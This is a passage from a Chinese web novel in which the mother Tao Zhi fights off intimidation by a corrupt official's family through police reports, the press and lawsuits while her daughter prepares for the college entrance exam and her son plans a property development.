老头子赚钱去了,趁着停工期间,陶枝想把幼儿园给建好,顺便消耗一波板厂的库存。
土地和手续,村里去解决,陶枝请设计师,请施工队,算出一个大致金额后,后续的事就交给周村长。
程大川和覃玉芬,不习惯闲在家里,自告奋勇要去工地帮忙。
陶枝灵光一闪,这倒是一个出路。她和程大川说,“你找几个信得过的,趁机就驻守在工地,跟着人家施工队,还有装修队学习,能学多少是多少。完事之后,咱们自己弄个施工装修队。”
程大川有点没自信:“这能行吗?”
陶枝很肯定:“会者不难,就是累了点。你自己学会了,再带几个徒弟,队伍也就出来了。我后面还要建房子,早就希望有自家人能顶上。”
程大川闻言,算是放了一半心。大伯娘愿意给练手,能通过她的标准,这支队伍就算出师了。
反正厂里在放假,他干脆去问同村,有兴趣的就一起干。有些人冲着可以学手艺,还真给他找出几个人来。
关于为什么要转承包,陶枝也一五一十的,把前因后果都给说了。周村长一听,他大手一挥,这都不是事儿。于是承包的事,开始走流程了。
因此,程晖和程星,反而更忙了。首先,清点资产和造册,程星必须出一半力。其次,制作清单和审核,也要程星反复盘点确认。拟定《承包经营方案》,虽然说请了律师,但每一条都要程星过目。更别说消防还要整改,等到合同敲定的时候,程星都觉得自己老了好几岁。
程晖手上的客户,一致交给村委会了。离得近的,他亲自带人去拜访;远的那些,他也教村民怎么去维护。周村长强势留人,务必要把程晖会的那一点,给掏空淘尽了。这一天天下来,程晖的嗓子就没好过,程明澄直接说他爸像只大鸭子。
陶枝私底下问他:“你这么无私奉献,以后不干这一行啦?”
程晖回答:“干不干另说,但现在打好关系,方便您之后用板材。”
陶枝很讶异:“你爸和你说的?”
程晖赧然一笑:“我自己猜的。”
陶枝很宽慰,大儿子也长大了,开始变得心清目明,不需再担心他被人蒙骗了。
陶枝拍了拍他:“儿子,好样的。”
就在这个时候,房东上门来了。陶枝把人迎进来,笑着说:“怪不得喜鹊一直在叫,原来是有贵人上门。”
伸手不打笑脸人,房东再大的怒气,这时候也消了一半。
陶枝给房东沏了杯茶,然后一直微笑着看她,把她都看得不好意思了。
房东清咳两声,开口说道:“小陶啊。”
“诶,尹姐你说。”
“我听到一些邻居说,房子外老有人转悠?她们叫我来问问,你们得罪什么人了?”
家里最近忙得焦头烂额,个个都是早出晚归的,除了两个阿姨和小孩子,还有在三楼的程曼她们。所以陶枝也惊到了:“很抱歉尹姐,我完全不知道,我家也没人见过。我想我得先查证一下,如果真有这种事,我一定尽快处理掉。”
尹姐看陶枝的神情不像作伪,并且瞬间冷得覆了一层霜。不过也难怪,谁碰上这事,都会出离愤怒。她也不好多说什么,稍坐一下,说几句干巴巴的话就告辞了。
陶枝第一个就想到盟友,这事肯定得找专业人士。她先找的闻煦,再约的袁警官。
还是在闻煦的工作室,陶枝直接问袁警官:“你最近有被人盯上吗?”
袁衡点了点头。
闻煦愕然:“你怎么从来没说过?”
袁警官说:“我以为只针对我一人。”
闻煦摇头:“你这么想就错了,对方任何一个行为,都会影响我们的判断。”
陶枝目光如刀:“他们这么嚣张,趁机给我施压,是想逼我们和解?”
“也可能是赤裸裸的挑衅。”闻煦瞎说大实话。
陶枝很生气,她在想:如果不反击的话,倒显得我怕了他似的。人一向挑软柿子捏,谁知道一退再退的话,会招致什么样的羞辱?
她问:“有什么办法制止吗?”
“我的建议是,你拍下他们的脸,每天蹲守的时间,拿到证据就报警。”
“你的同仁们,可信吗?”
袁警官笑了:“我坐我的冷板凳,和他们又没有关系。”
“如果那些人不听劝呢?”
“那就继续报警,出过几次警之后,你可以找媒体报道,盯梢人员的二三事。”
陶枝疑惑:“这样有用吗?”
袁衡勾起嘴唇:“如果你能撬开他们的嘴,把背后的人给爆出来的话。”
陶枝想到那个场景,也觉得十分可乐。“不过,这很难做到吧?”
“那当然,盗亦有道。”
“除此之外呢?我担心家人的安全。”陶枝问。
“你还可以向纪委告状。附上各类报告和证据,点名道姓说郭家包庇,还威胁你们的人身安全,企图干预司法的公正。”袁衡停了停,“就怕有人到时狗急跳墙。”
陶枝很头疼,“大人我倒不担心,主要有两个小的,并且还离不了父母。”
“这样吧,让小朋友们呆在家里,最近就别去外面活动了。如果你还不放心,那请多两个人,专门护卫小孩子的安全。特殊时期,我们委屈一下。”
“那袁警官,你给我找人吧,要专业一些的,我可以出高薪。”
“我叫他们明天去找你。”
“好,多谢。”
陶枝临走前,袁警官多说了一句:“放心,这事不会拖太久的。”
她留下一笔经费,用行动表示鼓励。
陶枝听从建议,她找程晙拿了相机,亲自拍下骚扰者的脸,交通工具,蹲守规律,以及作案路线。在他们即将交接班的时候,陶枝一个电话打去派出所。
陶枝开门见山:“警察同志,连续几天,一直有不明人士,在我家门外蹲守。他们还分班分次来进行,每个班还安排了两个人。现在我们一家人,吓得连门都不敢出了。我求求你们快点出警,帮忙查清事实真相,还我们老百姓安宁。”
果然,事情越严重,出警就越快,感谢袁警官。
好死不死
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的,警察同志来的时候,就撞到监视陶枝的人,从面包车上下来换班。这下没什么可说的,全部拷回去先问一遍。
陶枝适时送上一面锦旗,上面书写着:“人民警察为人民,行动有力解民忧。”
她还花钱去报社,请记者来做采访,把这一家派出所,从上到下,由里到外,好好地夸了一顿。为警民鱼水情,打下良好的基础。
陶枝后悔没早点学会这招,搞到后来那么被动。现在也不算晚,她安慰自己道。
她还稍稍透露了一点小内幕,记者同志表示,一定会把这桩新闻跟到底。
陶枝也表示,如果她要上报的话,一定会提前打招呼,并送上第一手的资料。
她的任务算完成了,接下来,就看是郭家先出招,还是袁衡他们先制敌。
家里的生活又恢复正常了。梁静宜依然陪着程星,赵子浩则负责接送,程晖出门的频率高,小赵跟着他的时间多。程明澄和程今,每人各安排两人,之前是在明面上,现在则转到暗地里。而陶枝女士,她自己就是最好的护身符。
程晙听陶枝的话,苦哈哈地回砖厂,继续捱没钱的苦日子。虽然陶枝给了笔钱,但她说那是买地皮的,所以程晙把名字一转,那钱就拿去还了银行。
小客户倒是不拖欠,但那钱要负责工厂的营运和开销,甚至有时候还不够,程晙还得拿影楼的收入往里贴。要不是相信陶女士,他真的想关门不干了。
程晙压抑的情绪,在那位大大大客户,又拿两块地来抵债的时候,终于忍不住爆发了。他一个电话挂过去,冲着合伙人嚷嚷:“要不要找人去弄他?”
陶枝的声音在电话那头响起:“你要弄谁?”
程晙很纳闷,听筒移开,嗯没有声了。他再靠近,依然是陶女士,他一拍脑门:是他自己打错了。
程晙将错就错,和老妈大吐苦水,说着说着,感觉他自己都快哭出来了。
陶枝则高兴得合不拢嘴。这叫什么?上天给你关了一扇门,接着又给你开了一扇窗,这是赤裸裸的补偿啊。
她打断程晙的诉苦:“你不想要地的话,那你卖给我好了。”
程晙感到很安慰,但没开心几秒,他进而想到一个很现实的问题:“妈,您现在还有钱吗?”
陶枝被噎了一下,“好像,应该,可能,没有多少了。”
程晙顿时又想哭了。
陶枝悻悻地,“要不我给你支个招?”
“您说。”
“我们把那地给建了,改卖房子去?”
程晙有气无力:“谁要啊?”
陶枝喷他:“你别呆在山沟沟里挖沙了。你现在立马去买票,b市g市s市,你去这些一线的城市,亲自实地去考察一番,你就知道现在的房地产,到底是个什么样的状况。等你都转完一圈后,就知道拿地建房拿去卖,到底可行还是不可行了。”
程晙听得一愣一愣的,但还是下意识拿出纸笔,记下陶女士说的注意事项。
和小伙伴打招呼后,他就买票出发了。坐在火车上,程晙觉得很可悲:又是被陶女士操控的一天。
38. 第 38 章
第二天,程今叽叽喳喳,程明澄呜哇呜哇,在这吵吵闹闹的环境中,陶枝如常翻开了报纸。
忽然,一则新闻吸引了她的注意。
《豪宅外的“采花贼”?》男子深夜蹲守引发误会,原是花友觊觎名贵兰花?
陶枝快速浏览正文,上写的大概意思是:“几名男子在别墅区徘徊,对着院子指指点点,且行为十分可疑,引发住户的警觉而报警。然而,经过警方的深入调查,事情的真相却出乎预料——这几名男子不是为非作歹之人,他们仅仅是见到名贵的兰花,产生了占为己有的心理,他们的目的只是想摘几朵花。”
“经过核实,这四人确无前科,并且与住户素不相识,也没有任何纠纷和矛盾。经过严厉的批评教育,已将他们无罪释放。警方提醒,无论如何,未经允许进入他人住宅,均属于违法行为,望广大的市民引以为戒。”
陶枝发生一声冷笑,她拿着这份报纸,找房东尹姐交差去。
等她回来,只见程曼噔噔噔跑下楼,走到大门处东张西望的。
陶枝好奇:“你在找什么?”
程曼有些焦急:“老师到现在都没来,已经迟到半个小时了。”
陶枝看一眼落地大座钟,可不是,铛铛铛都快九点钟了。她安抚程曼道:“你别着急,先回去自己复习,我帮你出去看看。”
她正准备出去,又折返回来问:“哪个科目的老师?”
“数学和英语。”
陶枝心里有数了,她抬脚就往邻居家去。
辅导数学的是位大一新生,邻居介绍的,自家亲戚的小孩,家境不太好,是出来勤工俭学的。当陶枝说出来意,邻居也一脸的茫然,显然她也不知道这事。
邻居放下浇花的水壶,擦了擦手说道:“我给你去问问。”她转身推出一辆女士摩托,关上门嘟嘟嘟就骑车走了。
陶枝甚至来不及出口拦她,她无奈的笑了笑,转身走去英语老师家。
她刚走到巷子口,就听到嘈杂的声音,倾耳细听,好像是哪一户正在争吵。
陶枝继续往前走,这离老师家越近,那拌嘴的声音就越大,她定睛一看,这不正是老师家在发生争执吗?
两个年轻的男女,站在老师家门口,挡着不让她出去。女人还苦苦哀求道:“妈,求求你了,就当是为了我们,你不教这个孩子行不行?”
英语老师很生气:“做人要言而有信,家长三番五次请我,我亲口答应过人家的。”
“妈,我不管,我就是不给你去。”
老师眼睛一瞪:“你不告诉我理由,我是不会听你的。”
年轻人支支吾吾的,左顾右盼就是不肯明说。
陶枝悄悄转身离去,就当自己没有来过。这有什么不懂的,有人特地使坏,不想让程曼顺利高考呗。
回去后,果然邻居也在门口等她。邻居很抱歉:“孩子突然有了别的工作,那边给的工资更高,家里也恰巧需要这笔钱......”
陶枝笑着说:“没关系的,人往高处走。”
拜别邻居后,陶枝赶紧回去告诉程曼,再问她需不需要重新找老师。
关于这两位老师,也不用特意请辞。陶枝打算事后补一份礼,全了这短暂的师生情谊。
程曼和刘清越商量之后,“妈妈,这两门功课,我们自己复习,不用再找老师了。”
陶枝问:“你们有信心吗?”
程曼搬出一摞书,全是数学的习题,还有厚厚的试卷。她拍了拍这江山,:“全是李颜表姐给我找的。”
她又掏出两台随身听,然后指向另一张书桌,上面堆放着《新概念英语》,《灵格风英语》,《疯狂英语》等,以及各教材配套的磁带。还有《复习指南》《英汉词典》,看得陶枝是眼花缭乱。
程曼拍着胸脯:“复习的要点,一门靠刷题,一门靠背诵。妈您放一万个心,我们早就准备好了。”
既然程曼叫放心,那陶枝就听她的。
一波未平,一波又起。第二天,大家午饭的时候,隐约听到街心公园,传来各种器乐的合奏。锣声镗镗,鼓声咚咚,还有二胡在咿呀咿呀。这每响一声,陶枝的心就跟着颤一下。
过了一会儿,大合唱也来了,声音高昂,激奋,气势磅礴。陶枝他们坐在家中,就如亲临现场一般,听得是一清二楚。
时不时的,还掺杂着喇叭声:“后面的同志,声音再大一点。”
陶枝的头嗡嗡的,说句话都得提高音量。她看向程曼和刘清越,这还没复习呢,俩人的小脸苍白苍白的,已经开始受到干扰了。
陶枝感到很庆幸,自己有先见之明。她当机立断:“你们把课本都搬二楼去,书房我是全屋做了隔音的。”
她俩立马行动起来,进到书房,把门一关,魔音都隔绝在外了。两人同时舒了一口气。
陶枝在这住了大半年,就没见公园这么吵过,不管事实如何,她就认定是郭家人搞的鬼。
翌日,报纸的头版,刊登了这样一则新闻。
《县城中考的第一名,竟无缘踏进市重点?》
其内容写着:“记者走访时发现,一名中考的状元,居然在县城读高中。记者很好奇,于是询问该考生,为何不去市重点?该考生回答,因为没有被录取。记者十分敏锐,他瞒下这条信息,随即暗地里展开调查。他深入调查后发现,教育局招生办的孙某(女),黄某(女),利用职务之便,收受学生家长的贿赂,通过篡改原始分数的手段,将多名不合格的学生,破格录入重点中学。目前,纪检已介入调查,相关人员被停职调查。”
陶枝马上联络记者,把一早准备好的材料,一股脑交给了人家。她还暗暗影射,殴打同学的当事人,其母就是新闻中的孙某。记者如获至宝,心满意足的离开。
这篇文章一出,一石经起千层浪。报社收到雪花般的信件,有质疑的,有举证的,有求助报社的,各种各样的,搅和了城市上空的平静。
记者对比了录取分数线与最终录取名单,发现信中提及的考生,确实没有达到招生标准,但却赫然出现在录取名单上。
正当有记者洋洋洒洒,准备爆出这份名单时,却被按下手中的纸笔。他的同事,递给他一叠资料,他看完立马换了稿子。
第二天,街头巷尾的,都能听到这样的声音。
“诶,老张,你也来买菜啊。”
“老李,你今天也这么早。”
李阿姨悄悄的:
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“你听说了吗?教育局招生办,姓孙的那个女的,被抓起来了。”
张阿姨也压低声音:“你说的这事啊,估计全城都知道了,报纸上的字登那么老大,经过报刊亭都能见到。”
“当年我家对门那孩子,成绩也是顶呱呱的好,结果愣是没去成三中。我当时就觉得,这事不太对劲,没想到居然藏了这么大的猫腻。”
“听说明码标价,一个进三中的名额,这个数。”张阿姨伸出三根手指。
“三百?”
张阿姨瞪她一眼:“三百,你想得美。”
李阿姨倒吸一口冷气:“难道是三千?”
张阿姨点头:“就是这个数。”
卖菜的钱大妈也凑过来:“听说她把自己的女儿也塞进三中了?”
“是啊,顶了别人孩子的名额,现在家长都闹到教育局去了。”
**
中午,某工厂的食堂,两位工人坐下一起吃饭。
女工一:“那个孙干事的女儿,我侄女跟她一个班的,听说好多人被她欺负呢。”
女工二:“都怎么欺负啊?”
“看谁不顺眼就扇耳光,或者是关到厕所里打。对那些学习好的,就逼人家帮她写作业,考试时还要给她抄答案,还威胁同学不许告状,不然以后见一次打一次。”
“就没有硬气一点的同学吗?”
“当然有啊,告班主任没有用,就又告到教导主任那里。结果你猜怎么着?她女儿一点事都没有,反倒是告状的同学,听说被孙干事女儿,叫郭盈的给狠打了一顿,那同学被打到躺着进医院的。”
“天呐,学校是她家开的啊?”
女工一都笑了:“也差不多了,教导主任就是孙干事提拔的,为的就是在学校里护着郭盈。人家是一伙的,你去告状,反而被穿小鞋。”
“官官相护,学生都没地说理了。”
**
办公室的下午茶时间
某干事发表言论:“我早就说过,她这人迟早要出事,你们猜她是怎么翻船的?”
诸位同事很给面子:“怎么翻的?”
某干事:“有位家长,是个硬茬子。自家孩子被欺负了,一发狠偷偷去搜集证据,一封举报信寄到市纪委去了,人证物证都给罗列了,听说信里面连录音都有。”
同事说:“活该,这叫恶人自有恶人磨,夜路走多了,自然会碰见鬼。那她女儿和那个主任呢?”
某干事:“她女儿肯定是被清退,学历搞不好都要作废。那个教导主任,暗中不知干了多少坏事,也被纪委一起带走了。这次别说做老师了,说不定还要追究责任呢。”
众同事:“真是大快人心。”
**
各家各户都在吃晚饭
爸爸说:“这就叫善恶到头终有报。”
妈妈一阵后怕:“幸好我们孩子没遇到这种事,不然分分钟想手撕了这种人。他们就应该被严惩,最好在监狱里多待几年。”
奶奶也在叹息:“重点是被顶替的孩子。人家好好的前途,就这么被耽误了,这个要怎么补偿?还有那些被欺负的孩子,心里不知道该有多难受?”
大家一致都说:“太缺德了!”
39. 第 39 章
时间回到两天前。
当时,全家人都深受噪音困扰,特别是小程今,动不动就被吓到哇哇哭,把家里人都给心疼坏了。陶枝和几位邻居,一起去讨要说法,居委会说那是合法的,他们没那个权利去管。
陶枝气得,都想亲身上阵,活动活动下筋骨,把人给弄进医院去。
幸好,闻煦带来一叠资料,陶枝是越翻眼睛越亮,她和闻煦说:“这把稳了。”
陶枝的闺蜜,老家的校长,打电话来催促:“就剩一个月了,你还不让程曼回来备考?”
正巧,程曼的辅导老师,后面也都一一请辞了,她现在随时可以动身回去。
陶枝对这个城市没有留恋,冥冥之中,反而s市成为了她的心头好,她就着手考虑要搬家的事了。
板厂已正式交给东山村了,程晖程星的工作告一段落。他们在市里呆得没劲,陶枝叫他们也一起回去,陪陪老爸和妹妹,顺便好好陪孩子一段时间。
除了厨房的陈大姐,还有赵子浩这小伙,其他人全都请退了。陶枝大方发了三薪,大家都乐得眉开眼笑的。
所以,赵子浩把一家子送回县城后,整栋别墅,就剩下陶枝和陈大姐两个人。
在新闻闹得沸沸扬扬这天,夜深人静的,连狗都不叫了,陶枝家的电话却在这时响了起来。
陶枝接起,“喂喂”两声,对方没有应答,啪嗒一下挂掉了。
陶枝快要睡着时,电话又炸了,陶枝翻了个身,不想去管。但那头的人不罢不休,一直打一直打,叮铃铃的响个不停。陶枝爬起来,刚拿起话筒,对面立即传来一阵骂声。
“咔哒”,这次是陶枝先挂,她把听筒放到一边,没有再扣回电话上。
没有了恼人的铃声,终于得以睡一个好觉。
次日早上,陈大姐进来,见到陶枝,一句话不说,拉上人就走。
走到大门口处,她指着院墙说:“你看。”
一只被扭断头的公鸡,脖子软哒哒歪向一边,不知怎地被树枝给勾住了。风一吹,就随着飘荡,摇摇晃晃的,看起来甚是吓人。
本在枝头摇曳的花儿,娇艳欲滴的,现在却淌着暗红的血液,像是一种无声的警告。
陈大姐凑近闻了闻,“是鸡血。”
陶枝很淡定,她回屋拿出相机,先对着树上咔嚓来几张,再转悠到大门外,去看看围墙外边还有什么在等着她。
果不其然,外围墙被泼了成片的红,汩汩而流,再配上地面凌乱的脚印,就很像某种案发现场。
陶枝很无奈:“报警吧。”
熟悉的面孔,熟悉的流程,陶枝已经驾轻就熟,一切都显得那么平常。
这夜,陶枝如常休息,她把电话线拔了,一觉睡到天大亮。
早晨她才下楼,就碰到陈大姐,挂着两个黑眼圈,窝在沙发那里,不停打着哈欠。
“你昨晚没睡好?”陶枝很疑惑。
陈大姐也很惊愕:“陶老师,昨晚你没听到吗?”
“听到什么?”
陈大姐直接站起来:“窗户被人给砸了。”
说完她推开自己的房门,指着窗外一地的亮晶晶说:“昨晚我睡得正香,忽然哗啦一声巨响,把我从梦里惊醒过来。我就听到滴答滴答,好像有东西在敲窗,我拉开窗帘一看,哗一下大片玻璃滑下来,差点把我给吓死了。”
陶枝望了眼窗外,陈大姐说的没错,她转身往楼上去。
打开程星的房门,扑面而来的狂风,像两记耳光一样,直直扑向她的脸。近半幅墙大的玻璃窗,被砸碎了一大半,风呼呼地往里灌,吹得东西到处乱飞,纸张在桌上飒飒作响。
陶枝又下到一楼去,花园的一角,满地的玻璃渣。那些特别细碎的渣子,在阳光的照耀下,像一颗颗晶莹剔透的泪珠。
陶枝的拳头硬了,有些人真是记吃不记打,手段一如既往的下流,以为这种事能吓到她?做梦!
最近报纸上天天在骂战,每家报刊都硝烟四起,有人不趁机捂紧自己的乌纱帽,居然还有闲心出来找别人麻烦。
既然有人不怕被查,那陶枝准备再添一把火。
反正家里人都在老家,那是在自家的地盘里,天王老子来了都不带怕的。陶枝现在是一万个放心,她终于可以放开来玩了。
陶枝去找房东,“尹姐,我怕是住不下了。”
尹姐大吃一惊,“出了什么事?”
陶枝低垂着头,眼泪像断线的珍珠,不停地往下掉。她带着哭腔说:“我们做生意的,最讲究风水了,当时一眼就看上您家,觉得这肯定是块宝地,您看合同我都是签的三年。”
才过去一年不到,尹姐肯定记得啊。
“可是尹姐,自从搬进来,我们家就没顺过。儿子的工厂转手了,女儿也被迫退学了,现在连我人在家里,都被人上门砸玻璃。如果准头再偏一点,我怕现在连命都没了。”陶枝在旁抽泣着说。
“什么?有人来砸窗?”尹姐一下子听到了重点。
“对啊,就昨晚的事。”陶枝显得很害怕。
尹姐坐不住了:“我跟你去看看。”
才走到院墙外,看到半墙红漆,尹姐的瞳孔开始收缩。再进到花园,公鸡还在那挂着,上上下下的,将尹姐吓了一大跳。她拍着胸口压惊,转过头看向房子,二楼那半扇窗的窟窿,可是把她的真火给点燃了。
“小陶,你...你...你到底干了什么事?”
一说到这个,陶枝的眼泪,说来就又来了。
“尹姐,这两天的新闻,到处都在传的,您看到了吗?”
“教育局那个?”
陶枝轻轻点头:“我女儿,就是那个受害者。”
“她人呢?我看看。”
陶枝止不住的伤心:“一家老小,都被逼回老家了。”
尹姐想问:“你怎么没回去?”想了想,那案子没判,可能要留个人吧。如果陶枝回去了,就没人租她的房了。于是,尹姐转了口风:“报警了吗?”
陶枝几度哽咽:“一出事就报了,警察也来过了。但是尹姐,说句不好听的,自从我女儿出事,就因为我报了警,我们家就变成今天这样了。”说完她忍不住抽泣起来
尹姐的话被噎在了半空,她本来还怪小陶的,心想都是她惹出来的祸事。结果现在一听,再结合报纸上报道的,尹姐知道错不在小陶。这乱糟糟的四周,说明做了错事
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的人,到现在还不知悔改,简直是目无法纪,肆意妄为。
尹姐安慰陶枝:“抓贼这事,我来处理,你先安心住着。”
陶枝泪眼婆娑:“怎么好麻烦您呢?”
尹姐拍拍她:“不麻烦,我家孩子就是管这块的。”
陶枝抽了抽鼻子,瓮声瓮气说道:“尹姐,那先谢谢您了,下次再请您吃饭。”
尹姐摆手,指指那院墙:“吃饭就不必了,下下午我叫人来收拾。”
陶枝送她出去:“那一有好消息,我就去告诉您。”
陈大姐在一旁,感到大开眼界。她到这时才知道,陶老师不让她收拾,原来有这么个作用。
陶枝见她那样子,笑着和她解释道:“你想想,能住在这里的人,不是有权就是有钱。尹姐连这里都看不上,专门拿来出租,她的家庭背景可想而知。更何况,她还是土生土长本地的老太太,不说别的,光亲戚就能拉出一个连。那些人,欺负我是外地的,以为我无依无靠,也不想想,我特意出这么大价钱,租的这房子是为的什么。”
陈大姐懵懂的点点头。
陶枝笑了笑:“而且,女人嘛,适当的示弱,不是件坏事。”
她拿出栽花的小锄头,平静地对陈大姐说:“这只鸡的功劳不小,我们给它念会往生咒,再把它给它埋了吧。”
**
之前认识的那位律师,给陶枝介绍了一位,有经验有关系的同行。特别是在诉讼方面,几乎无败绩的一位前辈。
在律师的指导下,闻煦和袁警官,在调查取证方面,有了重大的突破。闻煦那敏锐的触觉,能提前预知到危险;袁警官灵活的身手,则保证他们全身而退。两个人合作无间,充分发挥了自己的长处,获取一次又一次关键的信息,并且确保每一份证据的来源,都是合理合法且随时可用的。
在律师的帮助下,陶枝向法院递交刑事申诉状,控告郭处长的女儿郭盈,故意伤害程曼并致她颅骨骨裂,并附上所有医疗证据和证人名单。
同时控告派出所办案不力,举报办案人员徇私枉法,要求上级领导进行立案监督。
袁警官的侄女,和其他被欺压过的同学,也联合起来一起状告郭盈。
还有被顶替名额的学生们,也把孙干事告上了法庭。
陶枝通过研究报纸,找出两位写政法线的记者,以调查报道而闻名的。她请合作过的那位记者,给她牵线搭桥,拿到了那两位的工作电话。
她到家就开始打电话:“您好,宋记者。不知道您有没关注前几天的新闻,我是爆出教育局孙干事行贿的当事人。我手里有一份关于郭处长,也即是孙干事的丈夫,滥用职权、贪污行贿的证据,这里面有相片、录音和书面证词,请问您有兴趣吗?”
宋记者的心在扑通狂跳,这是送上门的大新闻啊。
“但是”,陶枝的话音一转:“这则新闻一出,会不会被报复,这我不敢保证。”
宋记者想到主编的态度,别提报不报复了,可能压根就没机会见报。他脑筋在迅速转动,还真让他找到一个人。宋记者稳住陶枝:“我去打个电话,这新闻您给我留着。”
陶枝也很痛快,“没问题。”
40. 第 40 章
宋记者一个电话,挂到老同学那,“反腐新闻,敢不敢报?”
老同学懒洋洋的,“你舍得让出来?”
宋记者咬牙:“太大了,我没法跟。”
对方来了兴致:“仔细说来听听?”
“我没有一手资料。”
对方泄了气:“你逗我玩呢?”
“前几天,教育局的干事被抓了,就是这位女士爆出来的。”
“她在哪?”
“我们市。”
“你帮我稳住她,我现在去买票,明天一准能到。”
宋记者立马回给陶枝,“我要独家,如果你同意,明天咖啡厅见。”
陶枝回了一个字:“好。”
次日,会面之后,陶枝二话不说,把档案袋推过去。
老同学接过去,当场抽出来看。
只见袋子里有:案情描述,证据的索引和复印件,诊断书、照片、录音,书面证词等。这位记者很意外,准备得太全面了,可见陶枝确实下了功夫,可以帮他们节省不少时间。
陶枝说:“多的我也不说了,这是我能提供的,所有的线索和证据,其他的就拜托二位了。”
老同学者收起工具,他很真诚地说:“如果证据属实,我答应你,这事一定能见报。”
陶枝郑重向他们道谢,她事先问过闻煦,这次把他的联系方式也留下了。
能做的她都做了,陶枝挥挥衣袖,不管背后洪水滔天,她回家陪读是也。
**
程晙回来的时候,走遍全屋,上下没见到一个人。
他打电话给老头子:“爸,我妈呢?”
“在家里呢。”
“我没见到人啊?”
“你在哪?”
“在市区的别墅里。”
“傻儿子,我们都回老家了。”
“啊,有什么事吗?”
“程曼高考,这不是事啊?”
程晙一听,坏了,他忘记这茬了。他脚步往外一转:“爸,我马上回去。”
“好好好,开车注意安全。”
车?他爸提醒了他,车还在砂砖厂呢。他归心似箭,直接包了一辆车,一路把他送回老家去。
下车的时候,看到那两栋三层小楼,程晙忽然觉得有点陌生。工厂还在开工,机器轰鸣的声音,唤醒了他的记忆。
跑到二楼,他妈正在看电视。“妈,怎么就你一个人?”
“你爸在办公室,你哥你姐回老家了。”
“不是说陪程曼高考吗?”
“这不是在陪了吗?”
程晙指指零食,再指指大彩电,“就这样陪?”
陶枝朝他甩手:“你别挡我看电视。程曼说了,不许去学校,那我没事干,就自己找乐子呗。”
程晙在她身边坐下:“我哥我姐回老家干嘛?”
陶枝摸摸他额头:“也没发烧啊,怎么突然变傻了?”
程晙以手支额:“都怪出去这一趟,给我的冲击太大了,脑子装不下,这不就烧坏了嘛。”
陶枝给他一下:“就你会说话。”
“他俩带娃去玩了?”
“小孩子就喜欢往乡下跑,可以爬山玩水,无拘无束的,还有一帮同龄的小伙伴。”
“现在板厂不做了,他们有什么想法?”
“程星说我去哪她去哪,程晖呢,还是想干点事业的。”
“妈,我决定听您的,把s市的地皮给开发了。”
陶枝立马坐直了,“你有钱吗?”
程晙哼哼:“我现在一穷二白。”
“那你拿什么开发?光靠一张嘴叭叭吗?”
程晙邪魅一笑:“我有地啊。”
陶枝到现在还是想不通:“你们到底卖了多少砖?那个客户,是怎么舍得用地抵钱的?”
“这位客户,他囤了很多块地皮。在这个时候,他想要资源交换,用地皮来抵债,就是利益最大化。而且,这额外多给的,是我和小伙伴的报酬。”
陶枝福至心灵:“你是说,他已经入场了?”
程晙肯定了陶枝的想法。
“妈,您听过香港的卖楼花吗?”
陶枝摇头,其实她死了之后的事,很多事都是一知半解。虽然天天有看报纸,但学的都是当下的知识,并没有未卜先知的能力。也就她在望乡台见过的,能记得那么一星半点。不过就这一星半点,也够她吃半辈子了。
“这么说吧,只要那块地上挖了坑,就可以国土局申请‘预售许可证’,然后我就可以开盘卖楼花了。收到购房首付款和按揭贷款后,我拿着这一笔钱,就可以继续往上建房了。说得直白一点,就是我用买房人的钱来盖房子,只要卖房所收到的钱,能覆盖住所有的工程支出,那我就是空手套白狼,白白赚的这笔钱,还拿到了房地产的入门券。”
“哦,就是期房嘛。”
“对对,妈原来你懂的。”
“风险大不大?”
“一半一半,只要能周转过来,现在入场等于是白捡钱。”
既然时机来了,那就顺应它吧,也是该程晙挣的。
“妈给不了你什么意见,不过我们可以把质量建好一点,不要住个一二十年就出问题。”
程晙笑了:“砖就是我自己把关的。其他那些建材,大家既是同行,也是半个熟人。”
陶枝提醒他:“正因为是熟人,才更要严格仔细。如果你不好出面,就请个人来做监理,从一开始就要严抓质量问题。你切记,安全无小事。防患于未然。”
“行,到时我请人来盯这一块。”
“诶对了,我叫你大川哥,也跟着学做包工头。”
程晙拒绝:“这个我没法答应您,建个几层楼的,大川哥学好了也许能行。但像我这样建高层的,不是科班出身,没有成功案例的,我都不敢交给他。”
“行,那妈妈就不多嘴了。话说,你卖我那地皮,给的友情价吧?”
程俊笑了:“您才发现啊。我就划了几百平给您,多了可没有,那可是寸金寸土的地方。要不是银行要还款,我现在又没有现金,我都不带收您的钱。”
“好孩子,你还没发达呢,我都享你的福了。”
“呸呸呸,我马上就要发了,妈您得给我说说好话。”
“妈祝你,顺风顺水,一生平安。”
“切,这么老套......”
“这是你妈最衷心的期盼。”
“行行行,我都实现给您看。”
陶枝心下一阵感动,差点没在臭小子面前落泪,幸好她先去洗手间了。
晚上,程晙见到程曼下颌尖削,忍不住出声道:“你也挺辛苦的。”
程曼笑了:“十年寒窗无人问,这是检验成果的时候,不比你赚钱辛苦啊。”
“等你考完了,哥送你出去玩几天?”
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>程曼挑眉:“这可是你说的?”
“全家人作证。”
“可是,我还有几个好朋友。”
程晙咬咬牙:“行,我都包了。”
程星插嘴:“老弟,我也要。”
程晙捂紧钱包:“没钱了。”
“你不能厚此薄彼。”
“你是我姐,不是应该你请我吗?”
“我还要养程今,钱得省着点花。”
程晙扁扁嘴:“姐你别那么抠,程今能花多少钱?”
程星生气:“等你当了爹,你再来说这种话。”
程晙向陶枝发出求救的信号。
陶枝觉得好笑:“还要政审呢,完了还有体检,程曼哪都去不了。”
程晙乐了,他摊摊手:“不是我不请啊,是客观条件不允许。”
陶枝打他:“关键时候,你招她做什么?”
她转头安慰程曼:“不用担心,只要通知书下来,我和你爸,请全家人出去玩。”
两个小的一听,高兴得跳起来。
程曼嘿嘿一笑,她摩拳擦掌道:“小哥,你就准备好大出血吧。”
难得看到程晙吃瘪,大家都笑得直不起腰。
考试时间就三天,一下子就考完了。
程晙要去s市,程星说跟着一起,她先去踩踩地皮。程明澄一听说程今也去,他闹着程晖也要跟着去。结果到最后,浩浩荡荡的,除了陶枝,全都去s市打前站。
陶枝关心郭家的后续,她必须得回市里一趟。再者自家建的房,还有租的别墅,以及村里的幼儿园,她还有好多事要干。可怜的她挥别了一家子,自己一个人坐车回市区去。
程晙本想让赵子浩送她,被陶枝严辞拒绝了,她还叫程晙把人收回去用。程星和老头子都考了驾照,以后就让他们自己开车,不然岂不是浪费了学车的钱。
正想回别墅,刚走到门口,就碰到邻居蒋姐了。
蒋姐把她拉到自己家:“你可算是回来了。”
“姐怎么了?”
蒋姐眼睛一瞪:“你做什么坏事了?”
陶枝很无辜:“我能做什么坏事?”
“那怎么不停有人找你?”
陶枝一惊:“谁啊?”
“记者,警察,还有几波,不知是什么人。”
